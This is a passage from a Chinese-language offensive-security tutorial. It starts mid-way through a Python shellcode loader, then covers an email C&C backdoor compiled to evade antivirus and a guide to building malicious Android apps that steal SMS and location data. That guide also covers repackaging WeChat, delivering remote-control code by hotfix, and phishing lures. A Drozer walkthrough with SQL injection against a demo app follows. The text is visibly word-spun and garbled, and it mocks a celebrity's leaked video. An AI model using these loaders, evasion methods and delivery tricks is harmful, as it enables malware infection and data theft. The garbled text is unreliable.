    16.             ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(shellcode)))
    17.             ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
    18.                 ctypes.c_int(0),
    19.                 ctypes.c_int(ptr),
    20.                 ctypes.c_int(0),
    21.                 ctypes.c_int(0),
    22.                 ctypes.pointer(ctypes.c_int(0)))
    23.             ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
    24.         except Exception as e:
    25.             print e
    26.             pass
    复制代码
    具体的实现功能如下图所示:

    如果有人要重新编写这个C&C,一定要加上这个功能啊!

    Email C&C服务器 通讯

    但是好景不长,有些攻击者发现这个微博号不停发一些奇怪的内容,深度挖掘之后发现这个微博号是一个C&C服务器。于是攻击者决定要搞一个绝对安全的C&C服务器,于是该攻击者决定在后门程序内加入smtp连接代码。以后该攻击者有了快乐开心的“抓鸡”生活。

    技术解析:在“油管”上看到某个人录制的视频,代码也非常简单,很适合讲授,于是便引用他的代码来进行讲解。他的后面程序是基于python来编写的。
    文件下载下来后,发现有两个重要程序一个重要目次。

       implant.py:payload
      gcat.py:控制端
      data目次:数据存放路径
      先看看 implant.py,在1至15行我们可以看到这个后门程序调用了以下的python模块。

    以下是gcat.py调用的模块。模块功能我不做形貌了,请自行google。但是有几个模块是十分重要的,就是emai, imaplib和json模块。这里重要是负责处置惩罚email的管理,连接,以及编码和解码邮件json数据。

    两个模块都有以下四个重要常量,分别是邮箱号,密码,smtp服务器地址,和smtp端口。

    然后我们一边操作一遍讲解相关代码吧。我们在这里是使用Veil-Evasion 的auxiliary/pyinstaller_wrapper组件进行编译。

    PYTHON_SOURCE填写上implant.py的路径。

    文件名我就叫C&C吧,然后选择默认的编译方式。

    编译好后我复制到windows体系上,然后双击运行。

    这时email收到了一份邮件,内里有我的体系进程,体系版本等详细信息。
    通过payload代码中第504行开始(sendEmail Class),我们可以知道这里就是发送邮件的地方。首先该程序会以这个会话的ID为发件人发一封邮件到payload设置的邮箱内里。我们可以确定整个程序编译是没有任何问题的。

    继承往下看看控制端程序(gcat.py)。从235行开始,我们可以知道它的全部命令。

    往上继承看,原来这个data目次重要是存储屏幕截图的。

    但是当我准备输入-list的时候堕落了。连接居然超时了,这个很不正常啊!重新浏览了两个python脚本的代码,都正确啊。

    当时我的内心是大写的瓦解。不怕代码堕落误,就怕出了错误不知道在那里。Google 的时候发现了这么一个东西。OMG!我设置的两个账号都是QQ和163的,原来是这个缘故原由。

    后面得知Gmail没问题。做做实验还可以,要现实使用就不可了,因为Gmail在国内早被墙了。要办理这个问题也可以,就是用php脚本进行编译,因为QQ,163等对于php的邮箱模块支持没什么问题。这里就不继承讲解了,文章重要是做一个演示的作用。

    Email C&C服务器相关代码:https://github.com/byt3bl33d3r/gcat

    勒索、远控、APT

    流  程

    新手在学习 MetaSploit 时,也会照着书中的案例依葫芦画瓢:


    • 生成一个恶意 apk
    • 给 apk 签名
    • 让目标来安装
    这样就可以收到目标回传的信息,实验更多的控制。固然现实天下的打击会非常复杂和依赖于各种情况和条件的限制,不外不得不认可,打击的本质确实是这三条,分别对应:


    • 完成恶意应用的具体功能模块
    • 通过各种免杀技术使App可以存活并运行
    • 各显神通去诱骗 目标(受害者) 下载、安装和使用

    功能:远控、上传、勒索、加密

    哪些功能是恶意应用必备的呢?
    最起码联络cc,通过服务端下发指令并执行要有吧:

    获取并上传用户短信:

    通过 Accessibility Service 直接操作模拟点击手机界面:

    上传用的定位、串号、手机状态等信息:

    上述这些只是冰山一角,如果配合root可以做到对其他应用如手机浏览器进行注入,启动用户手机指定App,删除指定应用,更新恶意插件等恶意行为。

    固然现在的手机想要root黑白常困难了,但并不妨碍许多高级APT团伙使用0day或1day来开发Exploit进行远程root,这就需要更为昂贵的投入和深厚的技术功底了。这也是为何现在的APT反复有国家队作为背后支撑的缘故原由。
    固然在社会上被广泛使用的还是比力低级的加密、锁机、或者上传视频进行勒索。

    固然不要小看这些低级技术的危害,比如我们的时间管理大师——罗志祥就曾经在这上面栽过跟头:早期罗志祥与网友裸聊画面曝光 曾上节目哭诉辩解。
    不扫除甲方老板也好这一口,对吧。比如有些人外貌上在白天他是演员,其实到了晚上他是运动员。社工许多时候是真的比0day、1day好用。
    在内网把各种资料都搜集到了之后,怎样不走网关不动声色地上传到cc呢?这就用到前文讲的手机卡流量逃逸了。

    传统免杀技术:肴杂、加密、VMP

    这部门其实跟App加固是重合的,因为原理是千篇一律的。
    前者的目标是保护App不被逆向破解者给分析,后者是为了掩盖特征,逃过杀软或者行为管理软件的辨认。
    你用msf生成一个payload,啥也不干就发到对方呆板上,那就等于去送人头,不杀你杀谁呢?或者攻击团队煞费苦心开发了好几个月的木马,啥也不防就发已往,其实就是给防守团队送源码去的。
    总得肴杂、加密乃至上个VMP保护下吧,虽然还是会被病毒分析职员分析,而且肯定会被扒个底朝天,但是恶心他一下也好啊。
    这部门技术非常多,这里重要也就是给个索引,各人有爱好可以自行深入分析。
    肴杂:
       资源肴杂:https://github.com/shwenzhang/AndResGuard/blob/master/README.zh-cn.md
      代码肴杂。
            Java肴杂:字符串加解密、免费的ProGuard和贸易版DexGuard
            Native肴杂:Ollvm、字符串肴杂、自主肴杂器libsgmain
      反反编译器:
       花指令。
      重打包对抗:对抗 jd-gui、dex2jar、baksmali、shakaapktool、androguard
      反调试:
       17种反调试网络:https://bbs.pediy.com/thread-223460.htm
      签名校验、模拟器检测、hook检测、root检测:梆梆:https://bbs.pediy.com/thread-223141.htm
      加固
       业务场景加固(安全键盘、防拷贝、防截图)
      Java 源码加固(华为方舟Java2C):https://zhuanlan.zhihu.com/openarkcompiler
      Dex 加固
              整体型:https://github.com/guanchao/apk_auto_enforce
              抽取型:http://www.520monkey.com/archives/1118
              Dex2C:https://bbs.pediy.com/thread-253987.htm
              VMP:https://github.com/chago/ADVMP
      so 加固
              节加密、函数加密、动态注册、hook重定向:https://github.com/guanchao/AppProtect
              自定义 linker:https://bbs.pediy.com/thread-225798.htm
      
    内存免杀技术:重打包、VA、Hotfix

    直接送个apk给对方,让对方安装,还是难度颇大。
    有简单的方式就是拿市面上的大厂App解包之后,安插进自己的代码,重打包,然后可以:


    • 创造机会让对方下载,比如公司规定安装某银行的手机客户端,邮件里还附上了apk,对方大概率会下载安装;
    • 或者有机会打仗对方手机的话,直接就把他原来的微信卸载了,装上自己重打包的微信;你的代码就跑在微信里,所有的权限都继承自微信,那其实他在攻击者眼中就没有机密了。
    其实重打包做免杀的技术已经广泛应用在盗窟App的玄色产业链之中了,他们的红利方式是通过往热门应用“插包”、“重打包”的方式,植入广告挟制模块进行刷量作弊,当正常用户被诱导安装使用了这些真假难辨的盗窟应用后,即可实现对广告主的,以为自己在正常使用App,其实是在疯狂点击广告,实现对正规广告主的”薅羊毛”行为。
    想要将远控、或上传等代码隐藏好,实现不落地加载的话,可以将核心逻辑不要直接重打包进包里,而是做个hotfix,等App执行一段时间之后,再通过下发补丁包,让已安装的客户端来执行远控代码。
    得益于安卓平台的开放性,热修复在安卓平台几乎无所不能,可以修复资源文件、修复代码(类、方法等),乃至连so库都可以修复,常用的框架有阿里系的AndFix、Hotfix,腾讯系的Tinker、QFix,还有美团的等等。
    这些本应用于动态修复bug、免重安装修复bug的热修复框架,到了红队手中也是摇身一变,就比如张小泉的菜刀,切菜好用,摇身一变就是“中国菜刀”。
    末了再介绍一种动态掩盖特征的方法,那就是用VA来“加固”,VA等多开工具将安卓体系与VA内的应用隔离,使得应用的静态特征被动态掩盖,现在己有广泛的恶意应用使用VA对自身重打包,重打包后的应用包名、软件名与原应用差别,从而逃过静态查杀。
    等到VA运行时,可以解密恶意应用Apk,通过反射等技术欺骗安卓体系来运行未安装在体系中的Apk,到这一步就跟正常的App无异了,这方面也有一篇详细的文章:《VirtualApp技术黑产使用研究报告》。
    VA的本质就跟Windows平台上的壳技术差不多,先于恶意应用前运行,瞒过杀软之后,再将恶意应用释放出来运行。

    加载器:社工、水坑、垂纶、引流

    payload功能实现了,做了加密和肴杂加固了,核心逻辑做了热补丁动态下发(可以到内网的小美手机那里下,前面不是开启了APACHE SERVER么?),如果目标还是不安装,那一切还是等于零。
    其实前面已经说了几种方法,比如伪装成集团IT部门要求各人同一安装,这也是最常见的社会工程学手段,俗称垂纶或者水坑,各人经常收到这种员工薪酬.xls、员工通讯录2020版.doc等文件,打开即会释放宏木马,攻陷PC,如果此时企业App的开发者把开发手机也连在电脑上,也会给处于开发者模式的手机安装恶意软件。
    也可以直接攻陷集团MDM服务器,直接分发木马,见这篇:Hackers breach company’s MDM server to spread Android malware,或者直接想办法拿到对方的手机,这也是直接出击的社工了,“美人计”乃至“美男计”也属于社工的一部门。兵者、诡道也。
    社工的成功率黑白常高的,所以各人也会经常受到各种诱导点击链接短信,菠菜、色流等一大堆。不要小看人类最原始的本能欲望,色流在黑产中的应用范围之广超出想象,前面说的时间管理大师都会中招。

    说不定油腻中年老板就喜欢这些妹妹呢?这些照骗确实让人把持不住。

    总结:只是开始

    在ARM设备武器化指南攻击篇中,介绍了Kali Nethunter包括Rootless版本和完整版的安装、使用和简单上手实践,还有一样平常木马、远控的免杀思绪和方法。
    其实Kali Nethunter的强大之处不仅在于攻击,在防守方面也照样“屡立奇功”,比如得益于其定制版内核解锁arm64架构的Linux软件包安装,可以作为App沙箱和蜜罐,捕获木马并进行内核层面的“降维”攻击分析。详细分析流程和思绪敬请等待防守篇。



    6、手机渗出测试平台


    类似 nethunter

    andrax

    介绍

    :https://www.freebuf.com/sectool/187100.html
    andrax 是一个 APP,内里整合了一整套渗出测试实用程序,是专为Android智能手机计划的渗出测试平台,它可以直接在原生Android体系上运行,它不仅可以大概跟常用Linux发行版相媲美,而且它的功能乃至比常见Linux发行版更加强大。nethunter 需要刷进手机,同时有的手机不支持,如果不刷而是使用 ternux 安装,某些工具因为获取不到root权限会出现问题。这时就可以放弃 termux + nethunter 转而使用 andrax。


    • ANDRAX 是一款专为Android智能手机计划的渗出测试平台,
    • NetHunter 只是一款Debian模拟运行工具。
    Andrax5 通用版安装教程,让你拥有强大的渗出测试工具:https://zhuanlan.zhihu.com/p/615387221
    andrax pentest 高级专业黑客安卓渗出测试工具:https://www.ddosi.org/andrax/
       信息网络
            -Whois
            -BindDNS工具
            -Dnsrecon
            -Raccoon
            -DNS-Cracker
            -Firewalk
    网络扫描
            -Nmap– 网络映射工具
            -Masscan
            -SSLScan
            -Amap
    数据包制作
            -Hping3
            -Nping
            -Scapy
            -Hexinject
            -Ncat
            -Socat
    网络攻击
            -ARPSpoof
            -Bettercap
            -MITMProxy
            -EvilGINX2
    网站入侵
            -0d1n
            -Wapiti3
            -Recon-NG
            -PHPSploit
            -Photon
            -XSSer
            -Commix
            -SQLMap
            -Payloadmask
            -AbernathY-XSS
    密码破解
            -Hydra
            -Ncrack
            -JohnThe Ripper
            -CRUNCH
            无线攻击
            -VMPEvil AP
            -Aircrack-NGTools
            -Cowpatty
            -MDK3
            -Reaver
    毛病使用
            -MetaSploitFramework
            -RouterSploitFramework
            -Getsploit
            -OWASPZSC
            -Rop-TOOL
    等等等等…….
        MetaSploit Framework(毛病使用框架)
    Jaeles(web漏扫器)
    Nuclei(轻量级毛病使用)
    OWASP-ZAP(web漏扫器)
    Hydra(在线pj器)
    John The Ripper(离线pj器)
    Aircrack-NG(wifi毛病使用集)
    CrackMapExec(域情况渗出瑞士军刀)
    Empire(后渗出测试神器)
    EvilSSDP(欺骗 SSDP)
    RouterSploit Framework(专注于家用路由器的毛病使用框架)
    PRET Framework(打印机开发工具包)
    Singularity DNS Rebinding Framework(DNS重新绑定攻击工具)
    DNSteal(DNS传输文件工具)
    Radare2(二进制分析框架)
    EvilGINX2(网络垂纶框架)
    EnodeB-HACK(基站毛病使用)
    ICSSPLOIT(工控体系毛病使用)
    BIRP (Big Iron Recon & PWN)(评估通过TN3270服务的大型机应用程序的安全性)
    QrlJacker(二维码挟制攻击框架)
    Katana-DS(主动执行Google Hacking / Dorking)
    OWASP Tools
    Maltego(可视化威胁建模)
    Raccoon( 信息网络工具)
    Scapy(交互式数据包处置惩罚工具)
    Bettercap( 轻量级MiTM 框架)
    顶级ANDRAX工具速览_毛病使用_26
    Vulnx(主动检测多种CMS毛病的程序)
    顶级ANDRAX工具速览_OWASP_27
    EAPHammer(一款针对WPA2企业网络情况的Evil Twin攻击测试工具)
      高级终端。该工具还提供了高级且专业的终端模拟器:

    动态分类(DCO)。美化的工具分类体系:




    高级IDE。支持多种编程语言:


    Andrax5 通用版安装教程

    手机需要 root。:https://gitlab.com/crk-mythical/andrax-hackers-platform-v5-2



    7、Android 的 app 渗出测试


    移动端渗出测试工具相比丰富的web端真的是少之又少,drozer 就是移动端的一个工具。
    ADB Shell 命令资助:https://adbshell.com/downloads
       adb 快速导出安卓安装包
    检察手机中已安装的所有 apk 文件
    adb shell pm list package
    根据要导出的 app 包名,检察 APP 安装路径
    adb shell pm path com.DeviceTest
    根据以上路径导出 apk 源文件到 PC 端
    adb pull /xxx/xxx/xxx.apk C:\PC路径\desktop\
      
    APP安全性测试的工具

    1. Quick Android Review Kit
       由领英开发的一款静态代码分析工具,是开源的。它可以提供有关 Android App 安全威胁的信息,并提供有关安全毛病的完整信息。它可以生成有关潜伏毛病的报告,并提供一些办理办法,它还能突出表现与 Android 版本有关的安全问题。此外,它能扫描移动 App 中的所有元素,查找安全威胁。
      2. Zed Attack Proxy:https://www.zaproxy.org/
       它是举世最受欢迎的免费安全测试工具之一,它易于安装、支持多种脚本语言类型,还能提供 20 种差别语言的版本。在软件开发和测试阶段,ZAP 可以主动辨认 App 中的安全毛病。
      3. Drozer(MWR InfoSecurity):https://github.com/WithSecureLabs/drozer
       它是由 MWR InfoSecurity 开发的 App 安全测试框架,资助开发者确定 Android 设备中的安全毛病。它是一个开源工具,可同时支持真实的 Android 设备和模拟器,而且能在很短的时间内评估与 Android 安全相关的复杂性。
      4. MobSF(Mobile Security Framework):https://github.com/MobSF/Mobile-Security-Framework-MobSF
       这是一款开源的主动化移动 App 安全测试工具,实用于 iOS 和 Android,能对 Android、iOS、Windows 的移动 App 进行更快的安全性分析。它还可以熟练执行动态、静态分析和 Web API 测试。它可以托管在本地情况,因此机密数据不会与云交互。同时,开发职员可以在开发阶段辨认出安全毛病。
      5. Android Debug Bridge:https://source.android.google.cn/docs/setup/build/adb?hl=zh-cn
       它是用于专门与运行 Android 设备进行通信的命令行移动应用程序测试工具。
      它提供了一个终端接口,用于控制使用 USB 连接到盘算机的 Android 设备。ADB 可用于安装 / 卸载应用程序、运行 Shell 命令、重启、传输文件等。而且,可以使用此类命令轻松还原 Android 设备。ADB可轻松与谷歌的 Android Studio 集成开发情况进行集成,它还可以实时监控体系事件,答应使用 Shell 命令在体系级别进行操作。
      6. Micro Focus(Fortify):https://www.microfocus.com/zh-cn/home
       它可以被安装到移动设备前保护移动 App 的安全,而且,它支持各种平台,有助于辨认跨网络、服务器和客户端的安全毛病。Fortify 使用机动的交付模子执行端到端测试,其安全测试包括静态代码分析和针对移动 App 的扫描,并能给出准确结果。
      7. CodifiedSecurity:https://codifiedsecurity.com/
       它是一款闻名的主动化移动 App 安全测试工具。它可以发现并修复安全毛病,提供实时反馈,并确保开发者富足安全地使用移动应用程序。它支持 Android 和 iOS 平台,也支持静态测试和动态测试,还可以在不获取源代码的情况下测试移动 App。它遵照用于安全测试的程序化方法,该方法可确保测试结果是可靠的。
      8. WhiteHat Security
       它是基于云的安全平台,并使用其静态和动态技术提供快速的办理方案。它已经被 Gartner 认可为安全测试的领导者,并赢得了多个奖项。WhiteHat Sentinel 通过在真实设备上安装移动 App 进行测试,无需模拟器,它支持 iOS 和 Android 平台,可提供有关项目状况的完整信息。
      9. Kiuwan
       它提供领先的技术覆盖范围,可对移动 App 进行360°的安全性测试。它包括静态代码分析和软件组身分析,以及软件开发生命周期的主动化
      10. Veracode
       Veracode 向举世客户提供移动应用程序安全性服务。
      
    drozer

    Drozer 是一个 Android 安全测试框架:https://github.com/WithSecureLabs/drozer
    其官方文档说道:"Drozer答应你以一个平常android应用的身份与其他应用和操作体系交互"。Drozer是一种交互式的安全测试工具,使用Drozer进行安全测试时,用户在自己的电脑上输入命令,Drozer会将命令发送到Android设备上的署理程序执行,从而来搜索应用程序和设备中的安全毛病。
       现实上 Drozer 的核心功能就是通过分析 AndroidManifest.xml,看四大组件中有没有可 export 的,如果有那么就进一步检测这些可导出的组件是不是存在相应的安全问题。
      Android 体系的组件共有四种,其重要用途分别为:


    • Activity ( 界面):应用程序中,一个Activity通常就是一个单独的屏幕(或者页面),是用户操作的可视化界面,一个应用程序一样平常由多个 Activity 组成,是最常见的组件。它上面可以表现一些控件也可以监听并处置惩罚用户的事件做出响应。 Activity之间通过 Intent 进行通信。在Intent的形貌结构中,有两个最重要的部门:动作和动作对应的数据。
    • Service (服务):没有效户界面的程序,通常用作在背景处置惩罚耗时的逻辑。常见于监控类应用
    • Content Provider (数据)内容(数据)提供者,在多个APP间共享数据,比如通讯录
    • Broadcast Receiver (广播):在应用程序之间传输信息的机制,分为接收与发送。注册特定事件,并在其发生时被激活
    对于四种组件,需要关注的点就是 是否答应其他应用随意调用


    • android:exported 属性
      该属性指明了是否支持别的应用调用当前组件。
      Activity、Service、Broadcast 默认值:
      如果包含有 intent-filter 默认值为 true,表现其他 Application 可调用该组件;
      没有 intent-filter 默认值为 false,表现其只能被当前 Application 或者拥有同样 USER ID 的 Application 的调用。
      Provider 默认值:
      当 Android sdk 的最小版本为 16 或者更低时其默认值为 true。如果是 17 及以上的版本默认值为 false。
      当组件的 android:exported="true" 时,会导致其他应用可随意调用该组件(直接调用或者通过 action 调用),那么势必会导致一些问题。
    • android:permission

       组件导出作用、危害
      

    • 什么是组件导出?简而言之,就是别的APP也可以访问这个组件。再总而言之,就是组件权限的控制。
    • 组件导出有什么用?有些APP的功能需要提供一些接口给别的APP访问,就需要把相关的接口功能放在一个导出的组件上。
    • 组件导出有什么危害?因为权限声明是以组件为单位的,A组件调用B组件的功能来访问操作体系API时,实用于B组件的权限声明。如果B作为导出组件,没有进行严酷的访问控制,那么A就可以通过调用B来访问原本没有声明权限的功能,构成本地权限提拔。
      最新的drozer(版本3.0.1)无法在 Windows 上运行,必须在 虚拟机(保举Kali、Ubuntu) 或 Docker 容器 ( 容器和根本设置:https://hub.docker.com/r/withsecurelabs/drozer) 运行 drozer。
    这里选择 kali 虚拟机上运行 drozer
       从 github下载最新版本drozer的whl包并安装 :sudo pip install drozer-<version>.whl
      linux 安装 adb:apt-get install android-tools-adb
      

      手机安装 drozer-agent.apk

       可以安装在 实体安卓手机上(使用USB连接PC),也可以安装在模拟器
      下载 drozer-agent.apk:https://github.com/WithSecureLabs/drozer-agent/releases/latest
      直接下载 drozer-agent.apk 并安装,或者通过 adb 安装:adb install drozer-agent.apk
      安装成功后运行 drozer-agent,确保右下角按钮表现为 "开启"。
      通过网络连接到安卓手机

    最简单的方法就是 "目标手机和PC在同一网段"。 drozer署理在安卓设备上运行,而且嵌入式服务器已经启动。
       如果使用 docker 则执行:docker run --net host -it --entrypoint sh withsecurelabs/drozer
                                               # docker run --net host -it withsecurelabs/drozer
                          获取容器中 shell(比方,通过 drozer 从安卓手机上检察、下载 文件)
      末了,执行 drozer 命令连接到手机: drozer console connect --server <phone IP address>
      通过USB连接到手机

    如果网络通信受到限制,则可以通过 数据线 把手机连接到电脑上。然后电脑上使用 adb 端口转发功能从而实现PC和手机的通信。adb forward 用法:adb forward LOCAL REMOTE。端口转发:adb forward tcp:31415 tcp:31415   作用是将PC端 31415 端口的数据转发到手机端 31415 端口,从而实现PC和手机的通信。
       如果使用 docker 则执行:docker run --net host -it --entrypoint sh withsecurelabs/drozer
                                               # docker run --net host -it withsecurelabs
      运行drozer命令连接到手机: drozer console connect --server localhost
      drozer 连接 drozer-agent

       手机 IP:192.168.51.40
      Kali IP:192.168.51.33
      在PC(这里是Kali)上使用 drozer 命令连接办机上的 drozer-agent,
      

      

    drozer 命令资助

       run                执行 drozer 模块
    list                 表现当前会话中有权限执行的所有drozer模块的列表。
    shell              在署理进程的上下文中,在设备上启动交互式Linux shell。
    cd                  将特定的命名空间挂载为会话的根,以避免重复键入模块的全名。
    clean              删除Android设备上drozer存储的临时文件。
    contributors    表现对drozer框架和体系中使用的模块做出贡献的职员列表。
    echo                将文本打印到控制台。
    exit                  终止 drozer 会话.
    help                 表现有关特定命令或模块的资助。
    load                  加载一个包含drozer命令的文件,并按次序执行它们。
    module             从互联网上查找并安装其他drozer模块。
    permissions      表现授予drozer署理的权限列表。
    set        在变量中存储一个值,该变量将作为情况变量转达给drozer生成的任何Linux shell。
    unset          删除drozer转达给它生成的任何Linux shell的命名变量。
      使用步骤:


    • 首先,使用 list 检察支持哪些模块;
    • 然后,使用 help module_name,或者 run module_name -h 检察各 module 的用法;
    • 末了,通过 run module_name module_options 来对 app 进行检测。
    检察模块列表:dz> list

    获取app包列表:dz> run app.package.list

    获取 app 信息。包括app版本,在设备中生存数据的位置,安装的位置,app权限等。
       获取要检测的app的包名:run app.package.list -f <包的关键字>
    检察apk根本信息:run app.package.info -a <包名>
    辨认攻击面:run app.package.attacksurface <包名>
      

      攻击面就是指安卓四大组件(activaty、broadcast 、content provider、service) 的 export 属性,如果四大组件中设置有 export 属性,就去具有export的组件有没有问题。
      探求找到攻击面时,需要关注 android 的 IPC 通信机制的脆弱性,这些特点导致了App泄漏敏感信息给同一台设备上的别的App。APP评估中4项公共组件毛病
      

    • 组件Content Provider设置错误,导致数据泄漏
    • 组件Activity设置错误,导致登录页面被绕过
    • 组件Service设置错误,导致非法权限提拔
    • 组件Broadcast Receiver设置错误,导致拒绝服务、非法越权
      

      
      攻击面

       run app.package.list -f 关键字                    搜索包含关键字的包名
    run app.package.info -a com.xxx.xxx               获取app的根本信息
      

    run app.package.attacksurface com.xxx.xxx         确定攻击面
    run app.activity.info -a com.xxx.xxx              获取activity信息
    run app.activity.start --component com.xxx.xxx    启动activity
    help app.activity.start
    run app.provider.info -a com.xxx.xxx    获取Content Provider信息
        根据具体的攻击面进行攻击
      启动暴露的activity
    run app.activity.start--component (package name) (component name)
      启动暴露的broadcast
    run app.broadcast.start --component (package name) (component name)
      启动暴露的provider
    run app.provider.query--content://com.mwr.example.sieve.DBContentProvider/Passwords
      启动暴露的service
    run app.service.start --component (package name) (component name)
      经过这些操作之后就成功渗出进入app的内部了。后面可以根据现实情况继承深入。
    比如:sql注入就属于内容攻击的层面,这个时候我们在明确了内容暴露之后进行如下的攻击:
       1.检测四大组件安全  :
                    检察 activity 组件信息:run app.activity.info -a <包名>
                    检察 broadcast 组件信息:run app.broadcast.info -a  <包名>
                    检察 service 组件信息:run app.service.info -a <包名>
                    检察 content provider 组件信息: run app.provider.info -a <包名>
      2.检测 URI 数据泄漏风险:
                    Drozer的scanner模块提供了一些方法去推测可能存在的content URIs.
                    run scanner.provider.finduris -a <包名>
      3.检测文件遍历毛病 :
                Scanner模块提供一些方法检测本地Content Provider数据是否有文件遍历毛病风险
                命令:run scanner.provider.traversal -a <包名>
      4.检测是否存在本地sql注入:
                Scanner模块提供一些方法去检测本地储存的SQLite数据是否有SQL注入的风险。
                命令:run scanner.provider.injection -a <包名>
      
    下载 示例 sieve.apk

    Drozer 官网提供了一个用于毛病测试的 Demoapk 程序 sieve.apk,下载安装到手机(USB连接实体测试机到PC):https://github.com/as0ler/Android-Examples

       流程:APP第一次打开后,主页要求设置访问密码(com.mwr.example.sieve.MainLoginActivity)。验证成功后进入下一级页面 (com.mwr.example.sieve.PWList) 检察密码。
        执行命令 run app.package.list -f sieve    搜索关键词 sieve 获取具体包名
      执行命令 run app.package.info -a com.mwr.example.sieve,获取 sieve 应用的版本、数据存储目次、用户ID、权限等根本信息
      行命令 run app.package.attacksurface 包名,辨认出应用的攻击面
      

      Drozer会告诉我们应用是否有 export 可导出得暴露的组件,注意到services下面提示isdebuggle 阐明是可调试,这意味着可以附加一个调试器到这个进程。
      activity 越权

    Activity是Android组件中最根本也是最为常见用的四大组件之一,是一个负责与用户交互的组件。
       APP应用中主运动(比如MainLoginActivity)是app启动时的主界面,必须可以导出,但其他 Activity 正常情况下是不能导出的,遇到可导出且不需要权限的 Activity 运动组件,可以用 Drozer 命令来实验直接启动该运动,每每可以发现越权访问(如绕过登录验证访问数据)的毛病。
      执行命令 run app.activity.info -a com.mwr.example.sieve,可检察APP对外的 activity 组件信息:

    发现3个activity 被导出,而且不要求任何权限,那么就让 drozer 来加载它。执行命令 run app.activity.start --component 包名 运动组件名)直接调用检察密码的 Activity ,从而实现绕过登录验证功能,越权检察密码。至此,成功借助 Drozer 绕过登录授权验证,造成 Activity组件的越权访问毛病。(没绕过的话,打开 sieve 时是需要我们输入密码才气登录到此界面的)
    Intent 负责Activity间的通信

       intent 组件触发(拒绝服务、权限提拔)。使用 intent 对组件的触发一样平常有两类毛病,一类是拒绝服务,一类的权限提拔。拒绝服务危害性比力低,更多的只是影响应用服务质量;而权限提拔将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而资助其完成越权行为。
      实验权限提拔。权限提拔其实和拒绝服务很类似,只不外目的酿成构造更为完整、更能满足程序逻辑的 intent。由于activity一样平常多于用户交互有关,所以基于 intent 的权限提拔更多针对 broadcast receiver 和 service。与drozer相关的权限提拔工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅枚举drozer发送intent的命令:
      (1)获取service详情:run app.service.info -a com.mwr.example.sieve
               不使用drozer启动 service:am startservice –n 包名/service名
      (2)权限提拔:run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS
      越权毛病--绕过登录界面导致可直接访问Your Passwords界面,阐明存在越权毛病。
      run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
      Content Provider

    内容提供器(Content Provider) 为存储和获取数据提供同一的接口。可以在差别的应用程序之间共享数据。把一个应用程序指定的数据集提供给其他应用程序。这些数据可以存储在文件体系中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。
    Content Provider组件中存在以下常见的毛病:

    • 读写权限毛病Content Provider中通常都含有大量有价值的信息,比如用的电话号码或者交际帐号登录口令,而确认一个content provider是否有能被攻击的毛病的最好的办法,就是实验攻击它一下。可以用drozer来探求一些不需要权限的contentprovider:dz> runapp.provider.info –permission null这条命令能列出所有不需要任何读写权限的Content Provider,然后找到相对应的包,去访问给定包存放在它的Content Provider中的数据。如果一些 Content Provider 的 URI 不需要读权限,那就可以通过drozer工具提取此中的数据。在某些情况下,设置和执行读写权限不妥,也会将ContentProvider中的数据暴露给攻击者。除了提取数据,对于写权限管理不妥的Content Provider还可以向此中写入数据,使得攻击者可以将恶意数据插入到数据库中。
    • Content Provider中的SQL注入毛病和Web毛病类似,安卓APP也要使用数据库,那就也有可能存在SQL注入毛病。重要有两类,第一类是SQL语句中的查询条件子语句是可注入的,第二类是投影操作子句是可注入的。使用drozer可以很容易的找出查询条件子句可注入的content provider。dz> runapp.provider.query [URI] –selection “1=1”也可以使用其他恒为真的值,比方“1-1=0”,“0=0”等等。如果APP存在SQL注入毛病,那么输入这行指令后就会返回数据库中的整张表。
    • Provider文件目次遍历毛病当Provider被导出且覆写了openFile方法时,没有对Content Query Uri进行有效判定或过滤。攻击者可以使用openFile()接口进行文件目次遍历以达到访问任意可读文件的目的。
    执行命令 run app.provider.info -a com.mwr.example.sieve  可以获取Content Providers详细信息:

    从返回结果可以看出,对 sieve 应用的 DBContentProvider 内容提供器的访问除了/Keys 路径,其他的都不需要权限;而对 FileBackupProvider 内容提供器的访问则不需要任何权限,那么我们就可以从中获取敏感数据。
    目次 URI 必须以 "content://" 开头,所以可以实验重构部门目次URI来进入DBContentProvider。drozer 提供一个扫描模块来推测并验证一系列可以使用的目次URI。执行命令 run scanner.provider.finduris -a com.mwr.example.sieve(-a 指定应用名称,不加参数会扫描手机安装的所有app):

    可以看到有三个URI 可以访问,思量 /Keys 需要权限,所以可以使用content://com.mwr.example.sieve.DBContentProvider/Passwords/ 来测试。
    信息泄漏,获取敏感数据

    扫描并获取Content Provider信息,并列出了可访问内容URI的列表和路径:run scanner.provider.finduris -a com.mwr.example.sieve
    查询或修改数据库中的数据,发现存在数据泄漏问题,访问uri可看到一些敏感信息。执行命令 run app.provider.query uri,可从不需要权限的内容提供器中读取敏感数据:


    SQL 注入

    content可能导致注入问题。andorid 应用大多使用sqlite数据库存储数据,sqlite 又使用 sql 操作数据,那么就有可能存在sql注入毛病。使用参数 "projection、seleciton" 可以转达一些简单的SQL注入语句到Contentprovider。下面通过简单的方法测试是否存在该毛病。
       run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
    --projection "'"
    run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
    --selection "'"
      

    报错了,阐明应该是存在SQL注入的,报错信息告诉我们整个查询是怎样执行的。现在可以完整地攻击这个毛病,来列出数据库中的所有表。类似于sqlmap,借助 Drozer 还可以进一步检察都有哪些表,而且可以查询表中的数据。
    首先查询存在哪些表:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"

    接着查询表中的数据:run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"
    结果如下图所示:

    末了,也可以使用扫描功能对该app注入点位置进行主动扫描
    run scanner.provider.injection -a com.mwr.example.sieve
    run scanner.provider.traversal -a com.mwr.example.sieve

    列出该app的表信息:run scanner.provider.sqltables -a  com.mwr.example.sieve
